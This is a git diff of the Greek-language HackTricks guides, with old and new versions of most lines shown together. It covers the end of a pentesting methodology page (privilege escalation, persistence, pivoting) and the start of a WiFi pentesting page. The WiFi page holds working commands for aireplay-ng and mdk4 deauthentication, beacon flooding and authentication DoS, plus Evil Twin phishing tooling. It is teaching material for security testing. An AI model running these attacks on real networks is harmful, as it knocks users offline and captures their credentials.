* [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
### **9 -** [**Εξαγωγή**](exfiltration.md)
Πιθανώς θα χρειαστεί να **εξάγετε κάποια δεδομένα από το θύμα** ή ακόμα και **να εισάγετε κάτι** (όπως σενάρια ανύψωσης προνομίων). **Εδώ έχετε ένα** [**άρθρο σχετικά με κοινά εργαλεία που μπορείτε να χρησιμοποιήσετε για αυτούς τους σκοπούς**](exfiltration.md)**.**
### **10- Ανύψωση Προνομίων**
#### **10.1- Τοπική Ανύψωση Προνομίων**
Αν δεν είστε **root/Διαχειριστής** μέσα στο σύστημα, θα πρέπει να βρείτε έναν τρόπο να **ανυψώσετε τα προνόμια.**\
Εδώ μπορείτε να βρείτε έναν **οδηγό για την ανύψωση προνομίων τοπικά σε** [**Linux**](../linux-hardening/privilege-escalation/) **και σε** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
Πρέπει επίσης να ελέγξετε αυτές τις σελίδες σχετικά με το πώς λειτουργεί το **Windows**:
* [**Αυθεντικοποίηση, Διαπιστευτήρια, Προνομία Token και UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
* Πώς λειτουργεί το [**NTLM**](../windows-hardening/ntlm/)
* Πώς να [**κλέψετε διαπιστεύσεις**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) στα Windows
* Μερικά κόλπα σχετικά με το [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
* Πώς να [**κλέψετε διαπιστευτήρια**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) στα Windows
* Μερικά κόλπα σχετικά με [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
**Μην ξεχάσετε να ελέγξετε τα καλύτερα εργαλεία για την απαρίθμηση των διαδρομών Ανόρθωσης Προνομίων σε Windows και Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
**Μην ξεχάσετε να ελέγξετε τα καλύτερα εργαλεία για να απαριθμήσετε τις τοπικές διαδρομές ανύψωσης προνομίων Windows και Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- Ανόρθωση Προνομίων Domain**
#### **10.2- Ανύψωση Προνομίων Τομέα**
Εδώ μπορείτε να βρείτε μια [**μεθοδολογία που εξηγεί τις πιο κοινές ενέργειες για απαρίθμηση, ανόρθωση προνομίων και διατήρηση σε ένα Active Directory**](../windows-hardening/active-directory-methodology/). Ακόμα κι αν αυτό είναι απλώς μια υποενότητα μιας ενότητας, αυτή η διαδικασία θα μπορούσε να είναι **εξαιρετικά ευαίσθητη** σε μια ανάθεση Ελέγχου Εισβολής/Red Team.
Εδώ μπορείτε να βρείτε μια [**μεθοδολογία που εξηγεί τις πιο κοινές ενέργειες για την απαρίθμηση, την ανύψωση προνομίων και την επιμονή σε ένα Active Directory**](../windows-hardening/active-directory-methodology/). Ακόμα και αν αυτή είναι απλώς μια υποενότητα μιας ενότητας, αυτή η διαδικασία θα μπορούσε να είναι **εξαιρετικά λεπτή** σε μια αποστολή Pentesting/Red Team.
### 11 - POST
#### **11.1 - Λεηλασία**
#### **11**.1 - Ληστεία
Ελέγξτε αν μπορείτε να βρείτε περισσότερους **κωδικούς πρόσβασης** μέσα στον υπολογιστή ή αν έχετε **πρόσβαση σε άλλες μηχανές** με τα **προνόμια** του **χρήστη** σας.\
Βρείτε εδώ διαφορετικούς τρόπους για [**αποθήκευση κωδικών σε Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
Ελέγξτε αν μπορείτε να βρείτε περισσότερους **κωδικούς πρόσβασης** μέσα στον host ή αν έχετε **πρόσβαση σε άλλες μηχανές** με τα **προνόμια** του **χρήστη** σας.\
Βρείτε εδώ διάφορους τρόπους για να [**dump passwords στα Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
#### 11.2 - Διατήρηση
#### 11.2 - Επιμονή
**Χρησιμοποιήστε 2 ή 3 διαφορετικούς τύπους μηχανισμών διατήρησης ώστε να μην χρειάζεται να εκμεταλλευτείτε ξανά το σύστημα.**\
**Εδώ μπορείτε να βρείτε μερικά** [**κόλπα διατήρησης στο Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
**Χρησιμοποιήστε 2 ή 3 διαφορετικούς τύπους μηχανισμών επιμονής ώστε να μην χρειαστεί να εκμεταλλευτείτε ξανά το σύστημα.**\
**Εδώ μπορείτε να βρείτε μερικά** [**κόλπα επιμονής στο active directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
TODO: Ολοκληρώστε τη Δημοσίευση Διατήρησης σε Windows & Linux
TODO: Ολοκληρώστε την επιμονή Post σε Windows & Linux
### 12 - Περιστροφή
### 12 - Pivoting
Με τα **συγκεντρωμένα διαπιστευτήρια** μπορείτε να έχετε πρόσβαση σε άλλες μηχανές, ή ίσως να χρειάζεστε να **ανακαλύψετε και να σαρώσετε νέους οικιακούς** (ξεκινήστε ξανά τη Μεθοδολογία Ελέγχου Εισβολής) μέσα σε νέα δίκτυα όπου είναι συνδεδεμένο το θύμα σας.\
Σε αυτήν την περίπτωση, η διέλευση μπορεί να είναι απαραίτητη. Εδώ μπορείτε να βρείτε [**μια δημοσίευση που μιλά για τη διέλευση**](tunneling-and-port-forwarding.md).\
Σίγουρα θα πρέπει επίσης να ελέγξετε τη δημοσίευση σχετικά με τη [Μεθοδολογία Ελέγχου Εισβολής στο Active Directory](../windows-hardening/active-directory-methodology/). Εκεί θα βρείτε χρήσιμα κόλπα για μετακίνηση πλευρικά, ανόρθωση προνομίων και αποθήκευση διαπιστεύσεων.\
Ελέγξτε επίσης τη σελίδα σχετικά με το [**NTLM**](../windows-hardening/ntlm/), μπορεί να είναι πολύ χρήσιμο για περιστροφή σε περιβάλλοντα Windows..
Με τα **συγκεντρωμένα διαπιστευτήρια** θα μπορούσατε να έχετε πρόσβαση σε άλλες μηχανές, ή ίσως χρειαστεί να **ανακαλύψετε και να σαρώσετε νέους hosts** (ξεκινήστε ξανά τη Μεθοδολογία Pentesting) μέσα σε νέα δίκτυα όπου είναι συνδεδεμένο το θύμα σας.\
Σε αυτή την περίπτωση, η σήραγγα μπορεί να είναι απαραίτητη. Εδώ μπορείτε να βρείτε [**ένα άρθρο που μιλάει για τη σήραγγα**](tunneling-and-port-forwarding.md).\
Πρέπει επίσης να ελέγξετε το άρθρο σχετικά με τη [Μεθοδολογία pentesting Active Directory](../windows-hardening/active-directory-methodology/). Εκεί θα βρείτε ωραία κόλπα για να μετακινηθείτε οριζόντια, να ανυψώσετε προνόμια και να κάνετε dump διαπιστευτηρίων.\
Ελέγξτε επίσης τη σελίδα σχετικά με το [**NTLM**](../windows-hardening/ntlm/), μπορεί να είναι πολύ χρήσιμη για pivoting σε περιβάλλοντα Windows.
### ΠΕΡΙΣΣΟΤΕΡΑ
@ -127,7 +145,7 @@ TODO: Ολοκληρώστε τη Δημοσίευση Διατήρησης σε
#### [**Βασική Python**](python/)
#### **Κόλπα Κρυπτογραφίας**
#### **Κόλπα Κρυπτογράφησης**
* [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md)
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
@ -135,20 +153,21 @@ TODO: Ολοκληρώστε τη Δημοσίευση Διατήρησης σε
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακάρετε το αχάκαρτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής_).
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών γραπτά και προφορικά_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΕΣΜΩΝ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,35 +1,36 @@
# Ελεγχος Ασφάλειας Wifi
# Pentesting Wifi
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε να χακάρετε το AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας στο χάκινγκ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Συμμετέχετε στον [**Διακομιστή Discord του HackenProof**](https://discord.com/invite/N3FrSbmwdy) για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!
Εγγραφείτε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους hackers και κυνηγούς bug bounty!
**Εισαγωγή στο Χάκινγκ**\
Ασχοληθείτε με περιεχόμενο που εξετάζει την αγωνία και τις προκλήσεις του χάκινγκ
**Ενημερώσεις Hacking**\
Ασχοληθείτε με περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking
**Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο**\
Μείνετε ενήμεροι με τον γρήγορο κόσμο του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
**Ειδήσεις Hack σε Πραγματικό Χρόνο**\
Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και πληροφοριών σε πραγματικό χρόνο
**Τελευταίες Ανακοινώσεις**\
Μείνετε ενήμεροι με τις νεότερες εκκλήσεις ευρημάτων ασφαλείας που ξεκινούν και τις κρίσιμες ενημερώσεις πλατφόρμας
Μείνετε ενημερωμένοι με τις πιο πρόσφατες bug bounties που ξεκινούν και κρίσιμες ενημερώσεις πλατφόρμας
**Ελάτε στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **και αρχίστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!**
**Εγγραφείτε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και ξεκινήστε να συνεργάζεστε με κορυφαίους hackers σήμερα!
## Βασικές εντολές Wifi
## Wifi basic commands
```bash
ip link show #List available interfaces
iwconfig #List available interfaces
@ -57,7 +58,7 @@ mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
```
**Εκτέλεση του airgeddon με το docker**
**Τρέξτε το airgeddon με docker**
```bash
docker run \
--rm \
@ -70,7 +71,11 @@ docker run \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
```
Μπορεί να εκτελέσει επιθέσεις Evil Twin, KARMA και Known Beacons και στη συνέχεια να χρησιμοποιήσει ένα πρότυπο ψαρέματος για να καταφέρει να αποκτήσει το πραγματικό κωδικό πρόσβασης του δικτύου ή να αιχμαλωτίσει διαπιστευτήρια κοινωνικών δικτύων.
From: [https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux](https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux)
### wifiphisher
Μπορεί να εκτελέσει επιθέσεις Evil Twin, KARMA και Known Beacons και στη συνέχεια να χρησιμοποιήσει ένα πρότυπο phishing για να καταφέρει να αποκτήσει τον πραγματικό κωδικό πρόσβασης του δικτύου ή να συλλάβει διαπιστευτήρια κοινωνικών δικτύων.
```bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
@ -78,41 +83,41 @@ sudo python setup.py install # Install any dependencies
```
### [Wifite2](https://github.com/derv82/wifite2)
Αυτό το εργαλείο αυτοματοποιεί επιθέσεις **WPS/WEP/WPA-PSK**. Θα κάνει αυτόματα:
Αυτό το εργαλείο αυτοματοποιεί τις επιθέσεις **WPS/WEP/WPA-PSK**. Θα αυτοματοποιήσει:
* Ορίσει τη διεπαφή σε λειτουργία monitor
* Σάρωση για πιθανά δίκτυα - Και θα σας επιτρέψει να επιλέξετε τα θύματα
* Αν είναι WEP - Ξεκινήστε επιθέσεις WEP
* Αν είναι WPA-PSK
* Αν είναι WPS: Επίθεση Pixie dust και επίθεση brute-force (να είστε προσεκτικοί, η επίθεση brute-force μπορεί να πάρει πολύ χρόνο). Σημειώστε ότι δεν δοκιμάζει null PIN ή PIN που παράγονται από βάση δεδομένων.
* Προσπαθήστε να αιχμαλωτίσετε το PMKID από το AP για να το σπάσετε
* Προσπαθήστε να αποσυνδέσετε πελάτες του AP για να αιχμαλωτίσετε ένα handshake
* Αν έχετε PMKID ή Handshake, προσπαθήστε να κάνετε brute-force χρησιμοποιώντας τους κορυφαίους 5000 κωδικούς.
* Ρύθμιση της διεπαφής σε λειτουργία παρακολούθησης
* Σάρωση για πιθανά δίκτυα - Και σας επιτρέπει να επιλέξετε το θύμα(τα)
* Αν WEP - Εκκίνηση επιθέσεων WEP
* Αν WPA-PSK
* Αν WPS: Επίθεση Pixie dust και η επίθεση brute-force (προσοχή, η επίθεση brute-force μπορεί να διαρκέσει πολύ). Σημειώστε ότι δεν προσπαθεί με null PIN ή PIN που έχουν δημιουργηθεί από βάση δεδομένων.
* Προσπάθεια σύλληψης του PMKID από το AP για να το σπάσει
* Προσπάθεια αποσύνδεσης πελατών του AP για να συλληφθεί ένα handshake
* Αν PMKID ή Handshake, προσπαθήστε να κάνετε brute-force χρησιμοποιώντας τους 5000 κορυφαίους κωδικούς πρόσβασης.
## Σύνοψη Επιθέσεων
## Περίληψη Επιθέσεων
* **DoS**
* Πακέτα αποσύνδεσης/αποσύνδεσης -- Αποσυνδέστε όλους (ή ένα συγκεκριμένο ESSID/Πελάτη)
* Τυχαία ψεύτικα APs -- Απόκρυψη δικτύων, πιθανή κατάρρευση σαρωτών
* Υπερφόρτωση AP -- Προσπάθεια να απενεργοποιήσετε το AP (συνήθως όχι πολύ χρήσιμο)
* WIDS -- Παιχνίδι με το IDS
* TKIP, EAPOL -- Κάποιες συγκεκριμένες επιθέσεις για DoS σε μερικά APs
* **Κρυπτογράφηση**
* Κρυπτογράφηση **WEP** (πολλά εργαλεία και μέθοδοι)
* Αποσύνδεση/αποσυσχέτιση -- Αποσυνδέστε όλους (ή μια συγκεκριμένη ESSID/Client)
* Τυχαία ψεύτικα APs -- Κρύψτε δίκτυα, πιθανή κατάρρευση σαρωτών
* Υπερφόρτωση AP -- Προσπαθήστε να σκοτώσετε το AP (συνήθως δεν είναι πολύ χρήσιμο)
* WIDS -- Παίξτε με το IDS
* TKIP, EAPOL -- Ορισμένες συγκεκριμένες επιθέσεις για DoS σε ορισμένα APs
* **Cracking**
* Σπάσιμο **WEP** (πολλά εργαλεία και μέθοδοι)
* **WPA-PSK**
* **WPS** pin "Brute-Force"
* **WPA PMKID** brute-force
* \[DoS +] Αιχμαλώτιση **WPA handshake** + Κρυπτογράφηση
* \[DoS +] **WPA handshake** σύλληψη + Σπάσιμο
* **WPA-MGT**
* Αιχμαλώτιση **Ονόματος χρήστη**
* **Σύλληψη Ονόματος Χρήστη**
* **Bruteforce** Διαπιστευτήρια
* **Κακόβουλος Δίδυμος** (με ή χωρίς DoS)
* **Ανοιχτός** Κακόβουλος Δίδυμος \[+ DoS] -- Χρήσιμο για αιχμαλώτιση διαπιστευτήριων πύλης αιχμαλώτων και/ή εκτέλεση επιθέσεων LAN
* **WPA-PSK** Κακόβουλος Δίδυμος -- Χρήσιμο για επιθέσεις στο δίκτυο αν γνωρίζετε τον κωδικό
* **WPA-MGT** -- Χρήσιμο για αιχμαλώτιση διαπιστευτηρίων εταιρείας
* **KARMA, MANA**, **Δυνατό MANA**, **Γνωστή μπίλια**
* **+ Ανοιχτός** -- Χρήσιμο για αιχμαλώτιση διαπιστευτηρίων πύλης αιχμαλώτων και/ή εκτέλεση επιθέσεων LAN
* **+ WPA** -- Χρήσιμο για αιχμαλώτιση WPA handshakes
* **Evil Twin** (με ή χωρίς DoS)
* **Ανοιχτό** Evil Twin \[+ DoS] -- Χρήσιμο για τη σύλληψη διαπιστευτηρίων captive portal και/ή για επιθέσεις LAN
* **WPA-PSK** Evil Twin -- Χρήσιμο για επιθέσεις δικτύου αν γνωρίζετε τον κωδικό πρόσβασης
* **WPA-MGT** -- Χρήσιμο για τη σύλληψη διαπιστευτηρίων εταιρείας
* **KARMA, MANA**, **Loud MANA**, **Γνωστό beacon**
* **+ Ανοιχτό** -- Χρήσιμο για τη σύλληψη διαπιστευτηρίων captive portal και/ή για επιθέσεις LAN
* **+ WPA** -- Χρήσιμο για τη σύλληψη WPA handshakes
## DOS
@ -120,23 +125,23 @@ sudo python setup.py install # Install any dependencies
**Περιγραφή από** [**εδώ**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
Οι επιθέσεις **αποσύνδεσης**, μια διαδεδομένη μέθοδος στο χώρο του Wi-Fi hacking, περιλαμβάνουν την πλαστογράφηση "διαχειριστικών" πλαισίων για να **αποσυνδέσουν εξαναγκαστικά συσκευές από ένα δίκτυο**. Αυτά τα μη κρυπτογραφημένα πακέτα παραπλανούν τους πελάτες ώστε να πιστεύουν ότι προέρχονται από το νόμιμο δίκτυο, επιτρέποντας στους επιτιθέμενους να συλλέγουν WPA handshakes για σκοπούς κρυπτογράφησης ή να διαταράσσουν μόνιμα τις συνδέσεις δικτύου. Αυτή η τακτική, εντυπωσιακή στην απλότητά της, χρησιμοποιείται ευρέως και έχει σημαντικές επιπτώσεις στην ασφάλεια του δικτύου.
Οι επιθέσεις **Αποσύνδεσης**, μια διαδεδομένη μέθοδος στο Wi-Fi hacking, περιλαμβάνουν τη δημιουργία "διαχειριστικών" πλαισίων για να **αποσυνδέσουν βίαια τις συσκευές από ένα δίκτυο**. Αυτά τα μη κρυπτογραφημένα πακέτα εξαπατούν τους πελάτες να πιστεύουν ότι προέρχονται από το νόμιμο δίκτυο, επιτρέποντας στους επιτιθέμενους να συλλέγουν WPA handshakes για σκοπούς σπασίματος ή να διαταράσσουν μόνιμα τις συνδέσεις δικτύου. Αυτή η τακτική, ανησυχητική στην απλότητά της, χρησιμοποιείται ευρέως και έχει σημαντικές επιπτώσεις για την ασφάλεια του δικτύου.
**Αποσύνδεση χρησιμοποιώντας το Aireplay-ng**
**Αποσύνδεση χρησιμοποιώντας Aireplay-ng**
```
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
```
* \-0 σημαίνει αποσύνδεση
* 1 είναι ο αριθμός των αποσυνδέσεων που θα σταλούν (μπορείτε να στείλετε πολλές αν θέλετε); 0 σημαίνει να τις στείλετε συνεχώς
* 1 είναι ο αριθμός των αποσυνδέσεων που θα σταλούν (μπορείτε να στείλετε πολλές αν το επιθυμείτε); 0 σημαίνει να τις στείλετε συνεχώς
* \-a 00:14:6C:7E:40:80 είναι η διεύθυνση MAC του σημείου πρόσβασης
* \-c 00:0F:B5:34:30:30 είναι η διεύθυνση MAC του πελάτη προς αποσύνδεση· αν αυτό παραληφθεί τότε στέλνεται αποσύνδεση εκπομπής (δεν λειτουργεί πάντα)
* \-c 00:0F:B5:34:30:30 είναι η διεύθυνση MAC του πελάτη που θα αποσυνδεθεί; αν αυτό παραλειφθεί, τότε αποστέλλεται αποσύνδεση εκπομπής (δεν λειτουργεί πάντα)
* ath0 είναι το όνομα της διεπαφής
### Πακέτα Διακοπής Σύνδεσης
### Πακέτα Αποσύνδεσης
**Τα πακέτα διακοπής σύνδεσης**, παρόμοια με τα πακέτα αποσύνδεσης, είναι ένας τύπος διαχειριστικής κορνίζας που χρησιμοποιείται σε δίκτυα Wi-Fi. Αυτά τα πακέτα χρησιμεύουν για τη διακοπή της σύνδεσης μεταξύ μιας συσκευής (όπως ένας φορητός υπολογιστής ή ένα smartphone) και ενός σημείου πρόσβασης (AP). Η κύρια διαφορά μεταξύ διακοπής σύνδεσης και αποσύνδεσης βρίσκεται στα σενάρια χρήσης τους. Ενώ ένα AP εκπέμπει **πακέτα αποσύνδεσης για να αφαιρέσει εκδικητικά συσκευές από το δίκτυο, τα πακέτα διακοπής σύνδεσης στέλνονται τυπικά όταν το AP υφίσταται απενεργοποίηση, επανεκκίνηση ή μετακίνηση, απαιτώντας έτσι τη διακοπή όλων των συνδεδεμένων κόμβων.
**Τα πακέτα αποσύνδεσης**, παρόμοια με τα πακέτα αποσύνδεσης, είναι ένας τύπος διαχειριστικού πλαισίου που χρησιμοποιείται σε δίκτυα Wi-Fi. Αυτά τα πακέτα εξυπηρετούν για να διακόψουν τη σύνδεση μεταξύ μιας συσκευής (όπως ένα φορητό υπολογιστή ή smartphone) και ενός σημείου πρόσβασης (AP). Η κύρια διάκριση μεταξύ αποσύνδεσης και αποσύνδεσης έγκειται στα σενάρια χρήσης τους. Ενώ ένα AP εκπέμπει **πακέτα αποσύνδεσης για να αφαιρέσει ρητά τις κακόβουλες συσκευές από το δίκτυο, τα πακέτα αποσύνδεσης αποστέλλονται συνήθως όταν το AP υποβάλλεται σε κλείσιμο**, επανεκκίνηση ή μετακίνηση, απαιτώντας έτσι τη διακοπή της σύνδεσης όλων των συνδεδεμένων κόμβων.
**Αυτή η επίθεση μπορεί να πραγματοποιηθεί από το mdk4 (λειτουργία "d"):**
**Αυτή η επίθεση μπορεί να εκτελεστεί με το mdk4(mode "d"):**
```bash
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
@ -145,13 +150,13 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
```
### **Περισσότερες επιθέσεις DOS από το mdk4**
### **Περισσότερες επιθέσεις DOS με το mdk4**
**Εδώ** [**εδώ**](https://en.kali.tools/?p=864)**.**
**Στο** [**εδώ**](https://en.kali.tools/?p=864)**.**
**ΛΕΙΤΟΥΡΓΙΑ ΕΠΙΘΕΣΗΣ b: Πλημμύρα Beacon**
**ΜΟΝΤΕΛΟ ΕΠΙΘΕΣΗΣ b: Πλημμύρα Beacon**
Αποστέλλει πλαίσια beacon για να εμφανίσει ψεύτικα AP στους πελάτες. Αυτό μπορεί μερικές φορές να καταρρίψει ακόμα και διαχειριστές δικτύου!
Στέλνει πλαίσια beacon για να δείξει ψεύτικα APs στους πελάτες. Αυτό μπορεί μερικές φορές να προκαλέσει κρασάρισμα σε σαρωτές δικτύου και ακόμη και σε οδηγούς!
```bash
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
@ -159,9 +164,9 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
```
**ΚΑΤΑΣΤΑΣΗ ΕΠΙΘΕΣΗΣ α: Απόρριψη Υπηρεσίας Ταυτοποίησης**
**ATTACK MODE a: Authentication Denial-Of-Service**
Η αποστολή πλαισίων ταυτοποίησης σε όλα τα προσβάσιμα Σημεία Πρόσβασης (APs) εντός εμβέλειας μπορεί να υπερφορτώσει αυτά τα APs, ειδικά όταν εμπλέκονται πολλοί πελάτες. Αυτή η έντονη κίνηση μπορεί να οδηγήσει σε αστάθεια του συστήματος, προκαλώντας την πάγωση ή ακόμη και την επανεκκίνηση ορισμένων APs.
Η αποστολή πλαισίων αυθεντικοποίησης σε όλα τα προσβάσιμα Access Points (APs) εντός εμβέλειας μπορεί να υπερφορτώσει αυτά τα APs, ειδικά όταν εμπλέκονται πολλοί πελάτες. Αυτή η έντονη κίνηση μπορεί να οδηγήσει σε αστάθεια του συστήματος, προκαλώντας σε ορισμένα APs να κολλήσουν ή ακόμη και να επαναρυθμιστούν.
```bash
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
@ -169,145 +174,142 @@ mdk4 wlan0mon b -a -w nta -m
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
```
**ΛΕΙΤΟΥΡΓΙΑ ΕΠΙΘΕΣΗΣ p: Εξερεύνηση και Επίθεση στο SSID**
**ATTACK MODE p: SSID Probing and Bruteforcing**
Η Εξερεύνηση Σημείων Πρόσβασης (APs) ελέγχει εάν ένα SSID αποκαλύπτεται σωστά και επιβεβαιώνει την εμβέλεια του AP. Αυτή η τεχνική, σε συνδυασμό με την **επίθεση με brute force σε κρυφά SSIDs** με ή χωρίς λίστα λέξεων, βοηθά στον εντοπισμό και πρόσβαση σε κρυφά δίκτυα.
